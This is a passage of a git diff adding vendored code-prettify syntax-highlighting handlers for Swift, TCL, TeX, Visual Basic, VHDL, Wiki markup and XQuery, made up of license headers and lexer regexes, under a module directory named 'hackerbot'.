+          [PR['PR_KEYWORD'],              /^\b(?:__COLUMN__|__FILE__|__FUNCTION__|__LINE__|#available|#else|#elseif|#endif|#if|#line|arch|arm|arm64|associativity|as|break|case|catch|class|continue|convenience|default|defer|deinit|didSet|do|dynamic|dynamicType|else|enum|extension|fallthrough|final|for|func|get|guard|import|indirect|infix|init|inout|internal|i386|if|in|iOS|iOSApplicationExtension|is|lazy|left|let|mutating|none|nonmutating|operator|optional|OSX|OSXApplicationExtension|override|postfix|precedence|prefix|private|protocol|Protocol|public|required|rethrows|return|right|safe|self|set|static|struct|subscript|super|switch|throw|try|Type|typealias|unowned|unsafe|var|weak|watchOS|while|willSet|x86_64)\b/, null],
+          //double slash comments
+          [PR['PR_COMMENT'],              /^\/\/.*?[\n\r]/, null],
+          //slash star comments
+          [PR['PR_COMMENT'],              /^\/\*[\s\S]*?(?:\*\/|$)/, null],
+          //punctuation
+          [PR['PR_PUNCTUATION'],          /^<<=|<=|<<|>>=|>=|>>|===|==|\.\.\.|&&=|\.\.<|!==|!=|&=|~=|~|\(|\)|\[|\]|{|}|@|#|;|\.|,|:|\|\|=|\?\?|\|\||&&|&\*|&\+|&-|&=|\+=|-=|\/=|\*=|\^=|%=|\|=|->|`|==|\+\+|--|\/|\+|!|\*|%|<|>|&|\||\^|\?|=|-|_/, null],
+          [PR['PR_TYPE'],                 /^\b(?:[@_]?[A-Z]+[a-z][A-Za-z_$@0-9]*|\w+_t\b)/, null]   //borrowing the type regex given by the main program for C-family languages
+        ]),
+    ['swift']); 
diff --git a/modules/utilities/unix/hackerbot/files/www/js/code-prettify/src/lang-tcl.js b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/src/lang-tcl.js
new file mode 100644
index 000000000..d2f284f3c
--- /dev/null
+++ b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/src/lang-tcl.js
@@ -0,0 +1,63 @@
+/**
+ * @license
+ * Copyright (C) 2012 Pyrios
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *    http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+/**
+ * @fileoverview
+ * Registers a language handler for TCL
+ *
+ *
+ * To use, include prettify.js and this file in your HTML page.
+ * Then put your code in an HTML tag like
+ *      <pre class="prettyprint lang-tcl">proc foo {} {puts bar}</pre>
+ *
+ * I copy-pasted lang-lisp.js, so this is probably not 100% accurate.
+ * I used http://wiki.tcl.tk/1019 for the keywords, but tried to only
+ * include as keywords that had more impact on the program flow
+ * rather than providing convenience. For example, I included 'if'
+ * since that provides branching, but left off 'open' since that is more
+ * like a proc. Add more if it makes sense.
+ *
+ * @author pyrios@gmail.com
+ */
+
+PR['registerLangHandler'](
+    PR['createSimpleLexer'](
+        [
+         ['opn',             /^\{+/, null, '{'],
+         ['clo',             /^\}+/, null, '}'],
+         // A line comment that starts with ;
+         [PR['PR_COMMENT'],     /^#[^\r\n]*/, null, '#'],
+         // Whitespace
+         [PR['PR_PLAIN'],       /^[\t\n\r \xA0]+/, null, '\t\n\r \xA0'],
+         // A double quoted, possibly multi-line, string.
+         [PR['PR_STRING'],      /^\"(?:[^\"\\]|\\[\s\S])*(?:\"|$)/, null, '"']
+        ],
+        [
+         [PR['PR_KEYWORD'],     /^(?:after|append|apply|array|break|case|catch|continue|error|eval|exec|exit|expr|for|foreach|if|incr|info|proc|return|set|switch|trace|uplevel|upvar|while)\b/, null],
+         [PR['PR_LITERAL'],
+          /^[+\-]?(?:[0#]x[0-9a-f]+|\d+\/\d+|(?:\.\d+|\d+(?:\.\d*)?)(?:[ed][+\-]?\d+)?)/i],
+         // A single quote possibly followed by a word that optionally ends with
+         // = ! or ?.
+         [PR['PR_LITERAL'],
+          /^\'(?:-*(?:\w|\\[\x21-\x7e])(?:[\w-]*|\\[\x21-\x7e])[=!?]?)?/],
+         // A word that optionally ends with = ! or ?.
+         [PR['PR_PLAIN'],
+          /^-*(?:[a-z_]|\\[\x21-\x7e])(?:[\w-]*|\\[\x21-\x7e])[=!?]?/i],
+         // A printable non-space non-special character
+         [PR['PR_PUNCTUATION'], /^[^\w\t\n\r \xA0()\"\\\';]+/]
+        ]),
+    ['tcl']);
diff --git a/modules/utilities/unix/hackerbot/files/www/js/code-prettify/src/lang-tex.js b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/src/lang-tex.js
new file mode 100644
index 000000000..7ff7068c9
--- /dev/null
+++ b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/src/lang-tex.js
@@ -0,0 +1,49 @@
+/**
+ * @license
+ * Copyright (C) 2011 Martin S.
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *    http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+/**
+ * @fileoverview
+ * Support for tex highlighting as discussed on
+ * <a href="http://meta.tex.stackexchange.com/questions/872/text-immediate-following-double-backslashes-is-highlighted-as-macro-inside-a-code/876#876">meta.tex.stackexchange.com</a>.
+ *
+ * @author Martin S.
+ */
+
+PR['registerLangHandler'](
+    PR['createSimpleLexer'](
+        [
+         // whitespace
+         [PR['PR_PLAIN'],   /^[\t\n\r \xA0]+/, null, '\t\n\r \xA0'],
+         // all comments begin with '%'
+         [PR['PR_COMMENT'], /^%[^\r\n]*/, null, '%']
+        ],
+        [
+         //[PR['PR_DECLARATION'], /^\\([egx]?def|(new|renew|provide)(command|environment))\b/],
+         // any command starting with a \ and contains
+         // either only letters (a-z,A-Z), '@' (internal macros)
+         [PR['PR_KEYWORD'], /^\\[a-zA-Z@]+/],
+         // or contains only one character
+         [PR['PR_KEYWORD'], /^\\./],
+         // Highlight dollar for math mode and ampersam for tabular
+         [PR['PR_TYPE'],    /^[$&]/],
+         // numeric measurement values with attached units
+         [PR['PR_LITERAL'],
+          /[+-]?(?:\.\d+|\d+(?:\.\d*)?)(cm|em|ex|in|pc|pt|bp|mm)/i],
+         // punctuation usually occurring within commands
+         [PR['PR_PUNCTUATION'], /^[{}()\[\]=]+/]
+        ]),
+    ['latex', 'tex']);
diff --git a/modules/utilities/unix/hackerbot/files/www/js/code-prettify/src/lang-vb.js b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/src/lang-vb.js
new file mode 100644
index 000000000..2159415c6
--- /dev/null
+++ b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/src/lang-vb.js
@@ -0,0 +1,67 @@
+/**
+ * @license
+ * Copyright (C) 2009 Google Inc.
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *    http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+/**
+ * @fileoverview
+ * Registers a language handler for various flavors of basic.
+ *
+ *
+ * To use, include prettify.js and this file in your HTML page.
+ * Then put your code in an HTML tag like
+ *      <pre class="prettyprint lang-vb"></pre>
+ *
+ *
+ * http://msdn.microsoft.com/en-us/library/aa711638(VS.71).aspx defines the
+ * visual basic grammar lexical grammar.
+ *
+ * @author mikesamuel@gmail.com
+ */
+
+PR['registerLangHandler'](
+    PR['createSimpleLexer'](
+        [
+         // Whitespace
+         [PR['PR_PLAIN'],       /^[\t\n\r \xA0\u2028\u2029]+/, null, '\t\n\r \xA0\u2028\u2029'],
+         // A double quoted string with quotes escaped by doubling them.
+         // A single character can be suffixed with C.
+         [PR['PR_STRING'],      /^(?:[\"\u201C\u201D](?:[^\"\u201C\u201D]|[\"\u201C\u201D]{2})(?:[\"\u201C\u201D]c|$)|[\"\u201C\u201D](?:[^\"\u201C\u201D]|[\"\u201C\u201D]{2})*(?:[\"\u201C\u201D]|$))/i, null,
+          '"\u201C\u201D'],
+         // A comment starts with a single quote and runs until the end of the
+         // line.
+         // VB6 apparently allows _ as an escape sequence for newlines though
+         // this is not a documented feature of VB.net.
+         // http://meta.stackoverflow.com/q/121497/137403
+         [PR['PR_COMMENT'],     /^[\'\u2018\u2019](?:_(?:\r\n?|[^\r]?)|[^\r\n_\u2028\u2029])*/, null, '\'\u2018\u2019']
+        ],
+        [
+         [PR['PR_KEYWORD'], /^(?:AddHandler|AddressOf|Alias|And|AndAlso|Ansi|As|Assembly|Auto|Boolean|ByRef|Byte|ByVal|Call|Case|Catch|CBool|CByte|CChar|CDate|CDbl|CDec|Char|CInt|Class|CLng|CObj|Const|CShort|CSng|CStr|CType|Date|Decimal|Declare|Default|Delegate|Dim|DirectCast|Do|Double|Each|Else|ElseIf|End|EndIf|Enum|Erase|Error|Event|Exit|Finally|For|Friend|Function|Get|GetType|GoSub|GoTo|Handles|If|Implements|Imports|In|Inherits|Integer|Interface|Is|Let|Lib|Like|Long|Loop|Me|Mod|Module|MustInherit|MustOverride|MyBase|MyClass|Namespace|New|Next|Not|NotInheritable|NotOverridable|Object|On|Option|Optional|Or|OrElse|Overloads|Overridable|Overrides|ParamArray|Preserve|Private|Property|Protected|Public|RaiseEvent|ReadOnly|ReDim|RemoveHandler|Resume|Return|Select|Set|Shadows|Shared|Short|Single|Static|Step|Stop|String|Structure|Sub|SyncLock|Then|Throw|To|Try|TypeOf|Unicode|Until|Variant|Wend|When|While|With|WithEvents|WriteOnly|Xor|EndIf|GoSub|Let|Variant|Wend)\b/i, null],
+         // A second comment form
+         [PR['PR_COMMENT'], /^REM\b[^\r\n\u2028\u2029]*/i],
+         // A boolean, numeric, or date literal.
+         [PR['PR_LITERAL'],
+          /^(?:True\b|False\b|Nothing\b|\d+(?:E[+\-]?\d+[FRD]?|[FRDSIL])?|(?:&H[0-9A-F]+|&O[0-7]+)[SIL]?|\d*\.\d+(?:E[+\-]?\d+)?[FRD]?|#\s+(?:\d+[\-\/]\d+[\-\/]\d+(?:\s+\d+:\d+(?::\d+)?(\s*(?:AM|PM))?)?|\d+:\d+(?::\d+)?(\s*(?:AM|PM))?)\s+#)/i],
+         // An identifier.  Keywords can be turned into identifers
+         // with square brackets, and there may be optional type
+         // characters after a normal identifier in square brackets.
+         [PR['PR_PLAIN'], /^(?:(?:[a-z]|_\w)\w*(?:\[[%&@!#]+\])?|\[(?:[a-z]|_\w)\w*\])/i],
+         // A run of punctuation
+         [PR['PR_PUNCTUATION'],
+          /^[^\w\t\n\r \"\'\[\]\xA0\u2018\u2019\u201C\u201D\u2028\u2029]+/],
+         // Square brackets
+         [PR['PR_PUNCTUATION'], /^(?:\[|\])/]
+        ]),
+    ['vb', 'vbs']);
diff --git a/modules/utilities/unix/hackerbot/files/www/js/code-prettify/src/lang-vhdl.js b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/src/lang-vhdl.js
new file mode 100644
index 000000000..59c94a4f4
--- /dev/null
+++ b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/src/lang-vhdl.js
@@ -0,0 +1,51 @@
+/**
+ * @license
+ * Copyright (C) 2010 benoit@ryder.fr
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *    http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+/**
+ * @fileoverview
+ * Registers a language handler for VHDL '93.
+ *
+ * Based on the lexical grammar and keywords at
+ * http://www.iis.ee.ethz.ch/~zimmi/download/vhdl93_syntax.html
+ *
+ * @author benoit@ryder.fr
+ */
+
+PR['registerLangHandler'](
+    PR['createSimpleLexer'](
+        [
+         // Whitespace
+         [PR['PR_PLAIN'], /^[\t\n\r \xA0]+/, null, '\t\n\r \xA0']
+        ],
+        [
+         // String, character or bit string
+         [PR['PR_STRING'], /^(?:[BOX]?"(?:[^\"]|"")*"|'.')/i],
+         // Comment, from two dashes until end of line.
+         [PR['PR_COMMENT'], /^--[^\r\n]*/],
+         [PR['PR_KEYWORD'], /^(?:abs|access|after|alias|all|and|architecture|array|assert|attribute|begin|block|body|buffer|bus|case|component|configuration|constant|disconnect|downto|else|elsif|end|entity|exit|file|for|function|generate|generic|group|guarded|if|impure|in|inertial|inout|is|label|library|linkage|literal|loop|map|mod|nand|new|next|nor|not|null|of|on|open|or|others|out|package|port|postponed|procedure|process|pure|range|record|register|reject|rem|report|return|rol|ror|select|severity|shared|signal|sla|sll|sra|srl|subtype|then|to|transport|type|unaffected|units|until|use|variable|wait|when|while|with|xnor|xor)(?=[^\w-]|$)/i, null],
+         // Type, predefined or standard
+         [PR['PR_TYPE'], /^(?:bit|bit_vector|character|boolean|integer|real|time|string|severity_level|positive|natural|signed|unsigned|line|text|std_u?logic(?:_vector)?)(?=[^\w-]|$)/i, null],
+         // Predefined attributes
+         [PR['PR_TYPE'], /^\'(?:ACTIVE|ASCENDING|BASE|DELAYED|DRIVING|DRIVING_VALUE|EVENT|HIGH|IMAGE|INSTANCE_NAME|LAST_ACTIVE|LAST_EVENT|LAST_VALUE|LEFT|LEFTOF|LENGTH|LOW|PATH_NAME|POS|PRED|QUIET|RANGE|REVERSE_RANGE|RIGHT|RIGHTOF|SIMPLE_NAME|STABLE|SUCC|TRANSACTION|VAL|VALUE)(?=[^\w-]|$)/i, null],
+         // Number, decimal or based literal
+         [PR['PR_LITERAL'], /^\d+(?:_\d+)*(?:#[\w\\.]+#(?:[+\-]?\d+(?:_\d+)*)?|(?:\.\d+(?:_\d+)*)?(?:E[+\-]?\d+(?:_\d+)*)?)/i],
+         // Identifier, basic or extended
+         [PR['PR_PLAIN'], /^(?:[a-z]\w*|\\[^\\]*\\)/i],
+         // Punctuation
+         [PR['PR_PUNCTUATION'], /^[^\w\t\n\r \xA0\"\'][^\w\t\n\r \xA0\-\"\']*/]
+        ]),
+    ['vhdl', 'vhd']);
diff --git a/modules/utilities/unix/hackerbot/files/www/js/code-prettify/src/lang-wiki.js b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/src/lang-wiki.js
new file mode 100644
index 000000000..0a97258c0
--- /dev/null
+++ b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/src/lang-wiki.js
@@ -0,0 +1,55 @@
+/**
+ * @license
+ * Copyright (C) 2009 Google Inc.
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *    http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+/**
+ * @fileoverview
+ * Registers a language handler for Wiki pages.
+ *
+ * Based on WikiSyntax at http://code.google.com/p/support/wiki/WikiSyntax
+ *
+ * @author mikesamuel@gmail.com
+ */
+
+PR['registerLangHandler'](
+    PR['createSimpleLexer'](
+        [
+         // Whitespace
+         [PR['PR_PLAIN'],       /^[\t \xA0a-gi-z0-9]+/, null,
+          '\t \xA0abcdefgijklmnopqrstuvwxyz0123456789'],
+         // Wiki formatting
+         [PR['PR_PUNCTUATION'], /^[=*~\^\[\]]+/, null, '=*~^[]']
+        ],
+        [
+         // Meta-info like #summary, #labels, etc.
+         ['lang-wiki.meta',  /(?:^^|\r\n?|\n)(#[a-z]+)\b/],
+         // A WikiWord
+         [PR['PR_LITERAL'],     /^(?:[A-Z][a-z][a-z0-9]+[A-Z][a-z][a-zA-Z0-9]+)\b/
+          ],
+         // A preformatted block in an unknown language
+         ['lang-',           /^\{\{\{([\s\S]+?)\}\}\}/],
+         // A block of source code in an unknown language
+         ['lang-',           /^`([^\r\n`]+)`/],
+         // An inline URL.
+         [PR['PR_STRING'],
+          /^https?:\/\/[^\/?#\s]*(?:\/[^?#\s]*)?(?:\?[^#\s]*)?(?:#\S*)?/i],
+         [PR['PR_PLAIN'],       /^(?:\r\n|[\s\S])[^#=*~^A-Zh\{`\[\r\n]*/]
+        ]),
+    ['wiki']);
+
+PR['registerLangHandler'](
+    PR['createSimpleLexer']([[PR['PR_KEYWORD'], /^#[a-z]+/i, null, '#']], []),
+    ['wiki.meta']);
diff --git a/modules/utilities/unix/hackerbot/files/www/js/code-prettify/src/lang-xq.js b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/src/lang-xq.js
new file mode 100644
index 000000000..ce3cb6442
--- /dev/null
+++ b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/src/lang-xq.js
@@ -0,0 +1,71 @@
+/**
+ * @license
+ * Copyright (C) 2011 Patrick Wied
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+
+/**
+ * @fileoverview
+ * Registers a language handler for XQuery.
+ *
+ * To use, include prettify.js and this file in your HTML page.
+ * Then put your code in an HTML tag like
+ *      <pre class="prettyprint lang-xq"></pre>
+ *
+ *
+ * @author Patrick Wied ( patpa7p@live.de )
+ * @version 2010-09-28
+ */
+
+(function () {
+// Falls back to plain for stylesheets that don't style fun.
+var PR_FUNCTION = 'fun pln';
+// Falls back to plaiin for stylesheets that don't style var.
+var PR_VARIABLE = 'var pln';
+
+PR['registerLangHandler'](
+    PR['createSimpleLexer'](
+        [
+         // Matching $var-ia_bles
+         [PR_VARIABLE, /^\$[A-Za-z0-9_\-]+/, null, "$"]
+        ],
+        [
+         // Matching lt and gt operators
+         // Not the best matching solution but you have to differentiate between the gt operator and the tag closing char
+         [PR['PR_PLAIN'], /^[\s=][<>][\s=]/],
+         // Matching @Attributes
+         [PR['PR_LITERAL'], /^\@[\w-]+/],
+         // Matching xml tags
+         [PR['PR_TAG'], /^<\/?[a-z](?:[\w.:-]*\w)?|\/?>$/i],
+         // Matching single or multiline xquery comments -> (: <text> :)
+         [PR['PR_COMMENT'], /^\(:[\s\S]*?:\)/],
+         // Tokenizing /{}:=;*,[]() as plain
+         [PR['PR_PLAIN'], /^[\/\{\};,\[\]\(\)]$/],
+         // Matching a double or single quoted, possibly multi-line, string.
+         // with the special condition that a { in a string changes to xquery context 
+         [PR['PR_STRING'], /^(?:\"(?:[^\"\\\{]|\\[\s\S])*(?:\"|$)|\'(?:[^\'\\\{]|\\[\s\S])*(?:\'|$))/, null, '"\''],
+         // Matching standard xquery keywords
+         [PR['PR_KEYWORD'], /^(?:xquery|where|version|variable|union|typeswitch|treat|to|then|text|stable|sortby|some|self|schema|satisfies|returns|return|ref|processing-instruction|preceding-sibling|preceding|precedes|parent|only|of|node|namespace|module|let|item|intersect|instance|in|import|if|function|for|follows|following-sibling|following|external|except|every|else|element|descending|descendant-or-self|descendant|define|default|declare|comment|child|cast|case|before|attribute|assert|ascending|as|ancestor-or-self|ancestor|after|eq|order|by|or|and|schema-element|document-node|node|at)\b/],
+         // Matching standard xquery types
+         [PR['PR_TYPE'], /^(?:xs:yearMonthDuration|xs:unsignedLong|xs:time|xs:string|xs:short|xs:QName|xs:Name|xs:long|xs:integer|xs:int|xs:gYearMonth|xs:gYear|xs:gMonthDay|xs:gDay|xs:float|xs:duration|xs:double|xs:decimal|xs:dayTimeDuration|xs:dateTime|xs:date|xs:byte|xs:boolean|xs:anyURI|xf:yearMonthDuration)\b/, null],
+         // Matching standard xquery functions
+         [PR_FUNCTION, /^(?:xp:dereference|xinc:node-expand|xinc:link-references|xinc:link-expand|xhtml:restructure|xhtml:clean|xhtml:add-lists|xdmp:zip-manifest|xdmp:zip-get|xdmp:zip-create|xdmp:xquery-version|xdmp:word-convert|xdmp:with-namespaces|xdmp:version|xdmp:value|xdmp:user-roles|xdmp:user-last-login|xdmp:user|xdmp:url-encode|xdmp:url-decode|xdmp:uri-is-file|xdmp:uri-format|xdmp:uri-content-type|xdmp:unquote|xdmp:unpath|xdmp:triggers-database|xdmp:trace|xdmp:to-json|xdmp:tidy|xdmp:subbinary|xdmp:strftime|xdmp:spawn-in|xdmp:spawn|xdmp:sleep|xdmp:shutdown|xdmp:set-session-field|xdmp:set-response-encoding|xdmp:set-response-content-type|xdmp:set-response-code|xdmp:set-request-time-limit|xdmp:set|xdmp:servers|xdmp:server-status|xdmp:server-name|xdmp:server|xdmp:security-database|xdmp:security-assert|xdmp:schema-database|xdmp:save|xdmp:role-roles|xdmp:role|xdmp:rethrow|xdmp:restart|xdmp:request-timestamp|xdmp:request-status|xdmp:request-cancel|xdmp:request|xdmp:redirect-response|xdmp:random|xdmp:quote|xdmp:query-trace|xdmp:query-meters|xdmp:product-edition|xdmp:privilege-roles|xdmp:privilege|xdmp:pretty-print|xdmp:powerpoint-convert|xdmp:platform|xdmp:permission|xdmp:pdf-convert|xdmp:path|xdmp:octal-to-integer|xdmp:node-uri|xdmp:node-replace|xdmp:node-kind|xdmp:node-insert-child|xdmp:node-insert-before|xdmp:node-insert-after|xdmp:node-delete|xdmp:node-database|xdmp:mul64|xdmp:modules-root|xdmp:modules-database|xdmp:merging|xdmp:merge-cancel|xdmp:merge|xdmp:md5|xdmp:logout|xdmp:login|xdmp:log-level|xdmp:log|xdmp:lock-release|xdmp:lock-acquire|xdmp:load|xdmp:invoke-in|xdmp:invoke|xdmp:integer-to-octal|xdmp:integer-to-hex|xdmp:http-put|xdmp:http-post|xdmp:http-options|xdmp:http-head|xdmp:http-get|xdmp:http-delete|xdmp:hosts|xdmp:host-status|xdmp:host-name|xdmp:host|xdmp:hex-to-integer|xdmp:hash64|xdmp:hash32|xdmp:has-privilege|xdmp:groups|xdmp:group-serves|xdmp:group-servers|xdmp:group-name|xdmp:group-hosts|xdmp:group|xdmp:get-session-field-names|xdmp:get-session-field|xdmp:get-response-encoding|xdmp:get-response-code|xdmp:get-request-username|xdmp:get-request-user|xdmp:get-request-url|xdmp:get-request-protocol|xdmp:get-request-path|xdmp:get-request-method|xdmp:get-request-header-names|xdmp:get-request-header|xdmp:get-request-field-names|xdmp:get-request-field-filename|xdmp:get-request-field-content-type|xdmp:get-request-field|xdmp:get-request-client-certificate|xdmp:get-request-client-address|xdmp:get-request-body|xdmp:get-current-user|xdmp:get-current-roles|xdmp:get|xdmp:function-name|xdmp:function-module|xdmp:function|xdmp:from-json|xdmp:forests|xdmp:forest-status|xdmp:forest-restore|xdmp:forest-restart|xdmp:forest-name|xdmp:forest-delete|xdmp:forest-databases|xdmp:forest-counts|xdmp:forest-clear|xdmp:forest-backup|xdmp:forest|xdmp:filesystem-file|xdmp:filesystem-directory|xdmp:exists|xdmp:excel-convert|xdmp:eval-in|xdmp:eval|xdmp:estimate|xdmp:email|xdmp:element-content-type|xdmp:elapsed-time|xdmp:document-set-quality|xdmp:document-set-property|xdmp:document-set-properties|xdmp:document-set-permissions|xdmp:document-set-collections|xdmp:document-remove-properties|xdmp:document-remove-permissions|xdmp:document-remove-collections|xdmp:document-properties|xdmp:document-locks|xdmp:document-load|xdmp:document-insert|xdmp:document-get-quality|xdmp:document-get-properties|xdmp:document-get-permissions|xdmp:document-get-collections|xdmp:document-get|xdmp:document-forest|xdmp:document-delete|xdmp:document-add-properties|xdmp:document-add-permissions|xdmp:document-add-collections|xdmp:directory-properties|xdmp:directory-locks|xdmp:directory-delete|xdmp:directory-create|xdmp:directory|xdmp:diacritic-less|xdmp:describe|xdmp:default-permissions|xdmp:default-collections|xdmp:databases|xdmp:database-restore-validate|xdmp:database-restore-status|xdmp:database-restore-cancel|xdmp:database-restore|xdmp:database-name|xdmp:database-forests|xdmp:database-backup-validate|xdmp:database-backup-status|xdmp:database-backup-purge|xdmp:database-backup-cancel|xdmp:database-backup|xdmp:database|xdmp:collection-properties|xdmp:collection-locks|xdmp:collection-delete|xdmp:collation-canonical-uri|xdmp:castable-as|xdmp:can-grant-roles|xdmp:base64-encode|xdmp:base64-decode|xdmp:architecture|xdmp:apply|xdmp:amp-roles|xdmp:amp|xdmp:add64|xdmp:add-response-header|xdmp:access|trgr:trigger-set-recursive|trgr:trigger-set-permissions|trgr:trigger-set-name|trgr:trigger-set-module|trgr:trigger-set-event|trgr:trigger-set-description|trgr:trigger-remove-permissions|trgr:trigger-module|trgr:trigger-get-permissions|trgr:trigger-enable|trgr:trigger-disable|trgr:trigger-database-online-event|trgr:trigger-data-event|trgr:trigger-add-permissions|trgr:remove-trigger|trgr:property-content|trgr:pre-commit|trgr:post-commit|trgr:get-trigger-by-id|trgr:get-trigger|trgr:document-scope|trgr:document-content|trgr:directory-scope|trgr:create-trigger|trgr:collection-scope|trgr:any-property-content|thsr:set-entry|thsr:remove-term|thsr:remove-synonym|thsr:remove-entry|thsr:query-lookup|thsr:lookup|thsr:load|thsr:insert|thsr:expand|thsr:add-synonym|spell:suggest-detailed|spell:suggest|spell:remove-word|spell:make-dictionary|spell:load|spell:levenshtein-distance|spell:is-correct|spell:insert|spell:double-metaphone|spell:add-word|sec:users-collection|sec:user-set-roles|sec:user-set-password|sec:user-set-name|sec:user-set-description|sec:user-set-default-permissions|sec:user-set-default-collections|sec:user-remove-roles|sec:user-privileges|sec:user-get-roles|sec:user-get-description|sec:user-get-default-permissions|sec:user-get-default-collections|sec:user-doc-permissions|sec:user-doc-collections|sec:user-add-roles|sec:unprotect-collection|sec:uid-for-name|sec:set-realm|sec:security-version|sec:security-namespace|sec:security-installed|sec:security-collection|sec:roles-collection|sec:role-set-roles|sec:role-set-name|sec:role-set-description|sec:role-set-default-permissions|sec:role-set-default-collections|sec:role-remove-roles|sec:role-privileges|sec:role-get-roles|sec:role-get-description|sec:role-get-default-permissions|sec:role-get-default-collections|sec:role-doc-permissions|sec:role-doc-collections|sec:role-add-roles|sec:remove-user|sec:remove-role-from-users|sec:remove-role-from-role|sec:remove-role-from-privileges|sec:remove-role-from-amps|sec:remove-role|sec:remove-privilege|sec:remove-amp|sec:protect-collection|sec:privileges-collection|sec:privilege-set-roles|sec:privilege-set-name|sec:privilege-remove-roles|sec:privilege-get-roles|sec:privilege-add-roles|sec:priv-doc-permissions|sec:priv-doc-collections|sec:get-user-names|sec:get-unique-elem-id|sec:get-role-names|sec:get-role-ids|sec:get-privilege|sec:get-distinct-permissions|sec:get-collection|sec:get-amp|sec:create-user-with-role|sec:create-user|sec:create-role|sec:create-privilege|sec:create-amp|sec:collections-collection|sec:collection-set-permissions|sec:collection-remove-permissions|sec:collection-get-permissions|sec:collection-add-permissions|sec:check-admin|sec:amps-collection|sec:amp-set-roles|sec:amp-remove-roles|sec:amp-get-roles|sec:amp-doc-permissions|sec:amp-doc-collections|sec:amp-add-roles|search:unparse|search:suggest|search:snippet|search:search|search:resolve-nodes|search:resolve|search:remove-constraint|search:parse|search:get-default-options|search:estimate|search:check-options|prof:value|prof:reset|prof:report|prof:invoke|prof:eval|prof:enable|prof:disable|prof:allowed|ppt:clean|pki:template-set-request|pki:template-set-name|pki:template-set-key-type|pki:template-set-key-options|pki:template-set-description|pki:template-in-use|pki:template-get-version|pki:template-get-request|pki:template-get-name|pki:template-get-key-type|pki:template-get-key-options|pki:template-get-id|pki:template-get-description|pki:need-certificate|pki:is-temporary|pki:insert-trusted-certificates|pki:insert-template|pki:insert-signed-certificates|pki:insert-certificate-revocation-list|pki:get-trusted-certificate-ids|pki:get-template-ids|pki:get-template-certificate-authority|pki:get-template-by-name|pki:get-template|pki:get-pending-certificate-requests-xml|pki:get-pending-certificate-requests-pem|pki:get-pending-certificate-request|pki:get-certificates-for-template-xml|pki:get-certificates-for-template|pki:get-certificates|pki:get-certificate-xml|pki:get-certificate-pem|pki:get-certificate|pki:generate-temporary-certificate-if-necessary|pki:generate-temporary-certificate|pki:generate-template-certificate-authority|pki:generate-certificate-request|pki:delete-template|pki:delete-certificate|pki:create-template|pdf:make-toc|pdf:insert-toc-headers|pdf:get-toc|pdf:clean|p:status-transition|p:state-transition|p:remove|p:pipelines|p:insert|p:get-by-id|p:get|p:execute|p:create|p:condition|p:collection|p:action|ooxml:runs-merge|ooxml:package-uris|ooxml:package-parts-insert|ooxml:package-parts|msword:clean|mcgm:polygon|mcgm:point|mcgm:geospatial-query-from-elements|mcgm:geospatial-query|mcgm:circle|math:tanh|math:tan|math:sqrt|math:sinh|math:sin|math:pow|math:modf|math:log10|math:log|math:ldexp|math:frexp|math:fmod|math:floor|math:fabs|math:exp|math:cosh|math:cos|math:ceil|math:atan2|math:atan|math:asin|math:acos|map:put|map:map|map:keys|map:get|map:delete|map:count|map:clear|lnk:to|lnk:remove|lnk:insert|lnk:get|lnk:from|lnk:create|kml:polygon|kml:point|kml:interior-polygon|kml:geospatial-query-from-elements|kml:geospatial-query|kml:circle|kml:box|gml:polygon|gml:point|gml:interior-polygon|gml:geospatial-